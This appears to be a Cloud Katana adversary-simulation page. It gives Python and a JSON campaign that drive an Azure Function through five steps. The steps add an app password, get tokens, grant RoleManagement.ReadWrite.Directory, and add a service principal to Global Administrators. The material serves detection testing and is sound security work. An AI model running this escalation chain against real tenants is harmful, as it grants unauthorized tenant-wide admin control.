Admin promotion via Directory Role Permission Grant#
Metadata#
contributors |
[‘Azure’] |
platform |
Roberto Rodriguez @Cyb3rWard0g |
creation date |
2021-11-01 |
modification date |
2022-05-01 |
Tactics |
|
Techniques |
Description#
A campaign to simulate a threat actor granting the Microsoft Graph RoleManagement.ReadWrite.Directory (application) permission to an Azure service principal and using the new permissions to add an Azure AD object or user account to an Admin directory role (i.e. Global Administrators).
Get OAuth Access Token#
from msal import PublicClientApplication
import requests
import time
function_app_url = "https://FUNCTION_APP_NAME.azurewebsites.net"
tenant_id = "TENANT_ID"
public_client_app_id = "KATANA_CLIENT_APP_ID"
server_app_id_uri = "api://" + tenant_id + "/cloudkatana"
scope = server_app_id_uri + "/user_impersonation"
app = PublicClientApplication(
public_client_app_id,
authority="https://login.microsoftonline.com/" + tenant_id
)
result = app.acquire_token_interactive(scopes=[scope])
bearer_token = result['access_token']
Set Azure Function Orchestrator#
endpoint = function_app_url + "/api/orchestrators/Orchestrator"
Load Campaign#
data = {"id": "attackscenario-7dde2208-d4eb-480e-afa1-bad0ab7e861b", "name": "Admin promotion via Directory Role Permission Grant", "metadata": {"creationDate": "2021-11-01", "modificationDate": "2022-05-01", "platform": ["Azure"], "description": "A campaign to simulate a threat actor granting the Microsoft Graph RoleManagement.ReadWrite.Directory (application) permission to an Azure service principal and using the new permissions to add an Azure AD object or user account to an Admin directory role (i.e. Global Administrators).", "contributors": ["Roberto Rodriguez @Cyb3rWard0g"], "mitreAttack": [{"technique": "T1098.001", "tactics": ["TA0003"]}]}, "steps": [{"number": 1, "name": "AddPasswordToAADApp", "execution": {"type": "ScriptModule", "platform": "Azure", "executor": "PowerShell", "module": {"name": "CloudKatanaAbilities", "version": "1.3.1", "function": "Add-CKAzADAppPassword"}, "parameters": {"appObjectId": {"type": "string", "defaultValue": "test"}}}, "wait": 120}, {"number": 2, "name": "GetAccessTokenOne", "dependsOn": [1], "execution": {"type": "ScriptModule", "platform": "Azure", "executor": "PowerShell", "module": {"name": "CloudKatanaAbilities", "version": "1.3.1", "function": "Get-CKAccessToken"}, "parameters": {"ClientId": {"type": "string", "defaultValue": "test"}, "GrantType": {"type": "string", "defaultValue": "client_credentials"}, "AppSecret": {"type": "string", "defaultValue": "reference(1).secretText"}}}}, {"number": 3, "name": "GrantRoleMgmtPermission", "dependsOn": [2], "execution": {"type": "ScriptModule", "platform": "Azure", "executor": "PowerShell", "module": {"name": "CloudKatanaAbilities", "version": "1.3.1", "function": "Grant-CKAzADAppPermissions"}, "parameters": {"accessToken": {"type": "string", "defaultValue": "reference(2).access_token"}, "spObjectId": {"type": "string", "defaultValue": "test"}, "resourceName": {"type": "string", "defaultValue": "Microsoft Graph"}, "permissionType": {"type": "string", "defaultValue": "Application"}, "permissions": {"type": "array", "defaultValue": ["RoleManagement.ReadWrite.Directory"]}}}, "wait": 120}, {"number": 4, "name": "GetAccessTokenTwo", "dependsOn": [3], "execution": {"type": "ScriptModule", "platform": "Azure", "executor": "PowerShell", "module": {"name": "CloudKatanaAbilities", "version": "1.3.1", "function": "Get-CKAccessToken"}, "parameters": {"ClientId": {"type": "string", "defaultValue": "test"}, "GrantType": {"type": "string", "defaultValue": "client_credentials"}, "AppSecret": {"type": "string", "defaultValue": "reference(1).secretText"}}}}, {"number": 5, "name": "AddServicePrincipalToGARole", "dependsOn": [4], "execution": {"type": "ScriptModule", "platform": "Azure", "executor": "PowerShell", "module": {"name": "CloudKatanaAbilities", "version": "1.3.1", "function": "Add-CKAzADDirectoryRoleMember"}, "parameters": {"accessToken": {"type": "string", "defaultValue": "reference(4).access_token"}, "directoryRoleTemplateId": {"type": "string", "defaultValue": "test"}, "directoryObjectId": {"type": "string", "defaultValue": "test"}}}}], "file_name": "attackscenario-7dde2208-d4eb-480e-afa1-bad0ab7e861b"}
Send HTTP Request#
http_headers = {'Authorization': 'Bearer ' + bearer_token, 'Accept': 'application/json','Content-Type': 'application/json'}
results = requests.get(endpoint, json=data, headers=http_headers, stream=False).json()
time.sleep(30)
Explore Output#
query_status = requests.get(results['statusQueryGetUri'], headers=http_headers, stream=False).json()
query_results = query_status['output']
query_results